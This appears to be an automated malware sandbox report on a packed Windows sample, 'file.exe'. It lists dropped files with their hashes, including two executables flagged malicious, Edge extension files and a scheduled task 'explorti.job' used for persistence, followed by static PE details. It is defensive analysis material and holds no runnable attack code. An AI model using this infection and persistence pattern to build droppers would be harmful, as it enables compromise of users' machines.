Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.754230909218899
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsN9Jtwg1MK8HNnswuHEIIMuuqd7CKqv+pccW5SJ+:m8IGIEu8RfW+
MD5:	BE5DB35513DDEF454CE3502B6418B9B4
SHA1:	C82B23A82F745705AA6BCBBEFEB6CE3DBCC71CB1
SHA-256:	C6F623BE1112C2FDE6BE8941848A82B2292FCD2B475FBD363CC2FD4DF25049B5
SHA-512:	38C48E67631FAF0594D44525423C6EDC08F5A65F04288F0569B7CF8C71C359924069212462B0A2BFA38356F93708143EE1CBD42295D7317E8670D0A0CD10BAFD
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417689528134667
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1e9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APegiVb
MD5:	10FF8E5B674311683D27CE1879384954
SHA1:	9C269C14E067BB86642EB9F4816D75CF1B9B9158
SHA-256:	17363162A321625358255EE939F447E9363FF2284BD35AE15470FD5318132CA9
SHA-512:	4D3EB89D398A595FEA8B59AC6269A57CC96C4A0E5A5DB8C5FE70AB762E8144A5DF9AFC8756CA2E798E50778CD817CC9B0826FC2942DE31397E858DBFA1B06830
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4369)
Category:	dropped
Size (bytes):	95567
Entropy (8bit):	5.4016395763198135
Encrypted:	false
SSDEEP:	1536:Ftd/mjDC/Hass/jCKLwPOPO2MCeYHxU2/NjAGHChg3JOzZ8:YfjCKdHm2/NbHCIJo8
MD5:	09AF2D8CFA8BF1078101DA78D09C4174
SHA1:	F2369551E2CDD86258062BEB0729EE4D93FCA050
SHA-256:	39D113C44D45AE3609B9509ED099680CC5FCEF182FD9745B303A76E164D8BCEC
SHA-512:	F791434B053FA2A5B731C60F22A4579F19FE741134EF0146E8BAC7DECAC78DE65915B3188093DBBE00F389A7F15B80172053FABB64E636DD4A945DBE3C2CF2E6
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function l(a){return function(){return this[a]}}var n;function ba(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=da(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ca(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4369)
Category:	dropped
Size (bytes):	103988
Entropy (8bit):	5.389407461078688
Encrypted:	false
SSDEEP:	1536:oXWJmOMsz9UqqRtjWLqj74SJf2VsxJ5BGOzr61SfwKmWGMJOaAFlObQ/x0BGm:yRqr6v3JnVzr6wwfMtkFSYm
MD5:	EA946F110850F17E637B15CF22B82837
SHA1:	8D27C963E76E3D2F5B8634EE66706F95F000FCAF
SHA-256:	029DFE87536E8907A612900B26EEAA72C63EDF28458A7227B295AE6D4E2BD94C
SHA-512:	5E8E61E648740FEF2E89A035A4349B2E4E5E4E88150EE1BDA9D4AD8D75827DC67C1C95A2CA41DF5B89DE8F575714E1A4D23BDE2DC3CF21D55DB3A39907B8F820
Malicious:	false
Preview:	'use strict';function k(){return function(){}}function n(a){return function(){return this[a]}}var q;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var r=da(this);function t(a,b){if(b)a:{var c=r;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}}.t("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,g

C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1790976
Entropy (8bit):	7.945016301960948
Encrypted:	false
SSDEEP:	49152:EDX1MwDuFp+U5Sbi1cvMkg0X8C9d5PBXiClNM8GDb:EDXcFpcbi1idrHG
MD5:	4847D6885ADC7EA78FDF9918C384CECB
SHA1:	9EB0CE983F5A81300F18331B4899E03692FEA6EF
SHA-256:	2954DEC8276AF3D7C60154C2AFB2AE360D696C6A90EB779FD9E380848C6FD8CC
SHA-512:	E9B4D83425344B7137477105EE474C114F098D6C6E41D7BDFB47FB5902E32BA5C91AE9B9A3629DBAD0CE4151BBF9D880C80DBFD5002D77DA9AD88E8AA67F41FE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L...M..f.....................B"...... h...........@..........................Ph...........@.................................P.#.d.............................#..................................................................................... . ..#......<..................@....rsrc ......#......L..............@....idata ......#......L..............@... .0*...$......N..............@...fgtetwml.....0N......P..............@...kzhupcow......h.....................@....taggant.0... h.."...2..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1790976
Entropy (8bit):	7.945016301960948
Encrypted:	false
SSDEEP:	49152:EDX1MwDuFp+U5Sbi1cvMkg0X8C9d5PBXiClNM8GDb:EDXcFpcbi1idrHG
MD5:	4847D6885ADC7EA78FDF9918C384CECB
SHA1:	9EB0CE983F5A81300F18331B4899E03692FEA6EF
SHA-256:	2954DEC8276AF3D7C60154C2AFB2AE360D696C6A90EB779FD9E380848C6FD8CC
SHA-512:	E9B4D83425344B7137477105EE474C114F098D6C6E41D7BDFB47FB5902E32BA5C91AE9B9A3629DBAD0CE4151BBF9D880C80DBFD5002D77DA9AD88E8AA67F41FE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L...M..f.....................B"...... h...........@..........................Ph...........@.................................P.#.d.............................#..................................................................................... . ..#......<..................@....rsrc ......#......L..............@....idata ......#......L..............@... .0*...$......N..............@...fgtetwml.....0N......P..............@...kzhupcow......h.....................@....taggant.0... h.."...2..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1FKQ9HLY1C2ENJ3JHINX.temp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	3888
Entropy (8bit):	3.517237703064721
Encrypted:	false
SSDEEP:	48:JEnJSGdOg7vsJ4r9zBdLXuHlYkDpv2ABXdOgHvsJ4r9zngdLXuHlYk+21:pi3umkDognIumkz
MD5:	8E23CE57B19241BE19CB946F04785849
SHA1:	807A90966BE74290B31EEB9E35A78C0A89B2F13B
SHA-256:	DC5B98BD4D7D2EB3372473A19D417408991044D1F1BA92F2BB5B82B17B346FDA
SHA-512:	5B04E2E3D026F422A9FE8DB67DEA1931143F9CB56E4117AA2B57E8C8008ADA459B3F2910EF7A37AEA997CDB17F576AF8667484841C1F4370912FA2DE03510488
Malicious:	false
Preview:	...................................FL..................F.@.. .....\|.K...k.......?......(>@.....................1....P.O. .:i.....+00.../C:\.....................1.....DWP`..PROGRA~2.........O.IDWP`....................V.......2.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....DWO`..MICROS~1..D......(Ux.!Y............................g.\|.M.i.c.r.o.s.o.f.t.....N.1.....CWaa0.Edge..:.......S8.DW;`...........................s..E.d.g.e.....`.1.....CWaa0.APPLIC~1..H.......S8.!Y................................A.p.p.l.i.c.a.t.i.o.n.....`.2.(>@.=W2b .msedge.exe..F.......S8.!Y......u.......................q.m.s.e.d.g.e...e.x.e.......k...............-.......j...........&l.......C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe..<.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.........%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe...............................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\875a60a09683c344.customDestinations-ms (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	3888
Entropy (8bit):	3.517237703064721
Encrypted:	false
SSDEEP:	48:JEnJSGdOg7vsJ4r9zBdLXuHlYkDpv2ABXdOgHvsJ4r9zngdLXuHlYk+21:pi3umkDognIumkz
MD5:	8E23CE57B19241BE19CB946F04785849
SHA1:	807A90966BE74290B31EEB9E35A78C0A89B2F13B
SHA-256:	DC5B98BD4D7D2EB3372473A19D417408991044D1F1BA92F2BB5B82B17B346FDA
SHA-512:	5B04E2E3D026F422A9FE8DB67DEA1931143F9CB56E4117AA2B57E8C8008ADA459B3F2910EF7A37AEA997CDB17F576AF8667484841C1F4370912FA2DE03510488
Malicious:	false
Preview:	...................................FL..................F.@.. .....\|.K...k.......?......(>@.....................1....P.O. .:i.....+00.../C:\.....................1.....DWP`..PROGRA~2.........O.IDWP`....................V.......2.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....DWO`..MICROS~1..D......(Ux.!Y............................g.\|.M.i.c.r.o.s.o.f.t.....N.1.....CWaa0.Edge..:.......S8.DW;`...........................s..E.d.g.e.....`.1.....CWaa0.APPLIC~1..H.......S8.!Y................................A.p.p.l.i.c.a.t.i.o.n.....`.2.(>@.=W2b .msedge.exe..F.......S8.!Y......u.......................q.m.s.e.d.g.e...e.x.e.......k...............-.......j...........&l.......C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe..<.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.........%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe...............................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MUTXFGSFJET8BXEAMLWP.temp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	3888
Entropy (8bit):	3.517295796038985
Encrypted:	false
SSDEEP:	48:JEBXdOgHvsJ4r9zBdLXuHlYkDpv2ABXdOgHvsJ4r9zngdLXuHlYk+21:63umkDognIumkz
MD5:	6224F0C3BDEC0C7F2C3006045CFDA90D
SHA1:	521C21F6A886ACB542873E6E7DC03CB15F8518A0
SHA-256:	FF4372671FEDC31773E38D7AA0060FE88E6BD92B0940E8FF62625CBF0D21CDBA
SHA-512:	6962A4C5C79731E69B4CE198AC502F81ED9DB7C9A9F0619976B332F62DC3DDD775E12C7B418AB6517CC34CBA5D185B9135C5ECDD5D191EDFBF41822EC4CD2D71
Malicious:	false
Preview:	...................................FL..................F.@.. .....\|.K...k.......?......(>@.....................1....P.O. .:i.....+00.../C:\.....................1.....!Y....PROGRA~2.........O.I!Y......................V......R_.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....DWO`..MICROS~1..D......(Ux.!Y............................g.\|.M.i.c.r.o.s.o.f.t.....N.1.....CWaa0.Edge..:.......S8.!Y.............................s..E.d.g.e.....`.1.....CWaa0.APPLIC~1..H.......S8.!Y................................A.p.p.l.i.c.a.t.i.o.n.....`.2.(>@.=W2b .msedge.exe..F.......S8.!Y......u.......................q.m.s.e.d.g.e...e.x.e.......k...............-.......j...........&l.......C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe..<.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.........%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe...............................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	3888
Entropy (8bit):	3.517295796038985
Encrypted:	false
SSDEEP:	48:JEBXdOgHvsJ4r9zBdLXuHlYkDpv2ABXdOgHvsJ4r9zngdLXuHlYk+21:63umkDognIumkz
MD5:	6224F0C3BDEC0C7F2C3006045CFDA90D
SHA1:	521C21F6A886ACB542873E6E7DC03CB15F8518A0
SHA-256:	FF4372671FEDC31773E38D7AA0060FE88E6BD92B0940E8FF62625CBF0D21CDBA
SHA-512:	6962A4C5C79731E69B4CE198AC502F81ED9DB7C9A9F0619976B332F62DC3DDD775E12C7B418AB6517CC34CBA5D185B9135C5ECDD5D191EDFBF41822EC4CD2D71
Malicious:	false
Preview:	...................................FL..................F.@.. .....\|.K...k.......?......(>@.....................1....P.O. .:i.....+00.../C:\.....................1.....!Y....PROGRA~2.........O.I!Y......................V......R_.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....DWO`..MICROS~1..D......(Ux.!Y............................g.\|.M.i.c.r.o.s.o.f.t.....N.1.....CWaa0.Edge..:.......S8.!Y.............................s..E.d.g.e.....`.1.....CWaa0.APPLIC~1..H.......S8.!Y................................A.p.p.l.i.c.a.t.i.o.n.....`.2.(>@.=W2b .msedge.exe..F.......S8.!Y......u.......................q.m.s.e.d.g.e...e.x.e.......k...............-.......j...........&l.......C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe..<.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.........%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe...............................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.3693605559613005
Encrypted:	false
SSDEEP:	6:XAr1VX4RKUEZ+lX1cI1l6lm6tPjgsW2YRZuy0lFXxt0:m4RKQ1cag7jzvYRQVHt0
MD5:	F6EE5B16B6F8B058A56BFF7CA37A69A6
SHA1:	17C415E7F37FA68243687CD90397E19135B4D513
SHA-256:	F319743EB8534EA994773C138025E1532EFF968269BDDAB1AB23A68C08114A64
SHA-512:	3074154539FF050A0F205E4AA156C98E9175A3CED19AF5BA0DB0EFCCF4043D0FD662014645991FFF59F73DA177BE25E5B912EE99D790D115AEF19CA6A9DD594E
Malicious:	false
Preview:	.....%O=.:.F...J*Y.YF.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.0.d.8.f.5.e.b.8.a.7.\.e.x.p.l.o.r.t.i...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................0.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947253079431191
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'925'120 bytes
MD5:	98ba9c78dec3f0c8100bf1ed10395d72
SHA1:	6a72b2701f52a50301a51ffea7a5815261918ed1
SHA256:	984cc4c8df4940b8246b8c8394616c4b7e6ebf2fa568723b091a86bd851ea032
SHA512:	2c04fe6f2daaeee238364e28436445a8abc0a360d08fb048c53d51e04769e59168c7a167885c53e655760790c81f696f8df167c861a21d3f6dd2a7bf21b5fbe5
SSDEEP:	49152:sy1O7CA3/NWW/p/nVMoxmMlyY9LciHYfY9Zdy:ICA3oiqWfyY9w58u
TLSH:	5895334AA9E71E1EC5598672BE2B6F1811B1BE04CFF5339031AB24572F1398EE233547
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8c1000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A24110 [Thu Jul 25 12:12:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FBFE90C18AAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4bf3dc	0x10	nyeytjol
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4bf38c	0x18	nyeytjol
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2dc00	eccfd26da95540bfd83b19900b8ca3b6	False	0.9998132257513661	data	7.986093514903581	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	bec61b8a178f401f6bcc73aa7a78ab56	False	0.578125	data	4.503483558375725	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2b0000	0x200	f13bd163e94b2b04cd4d533b4fd4572c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nyeytjol	0x31b000	0x1a5000	0x1a4600	dd2080d101a0f674da95ae0a60968b02	False	0.9942120595450491	data	7.953962885461326	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
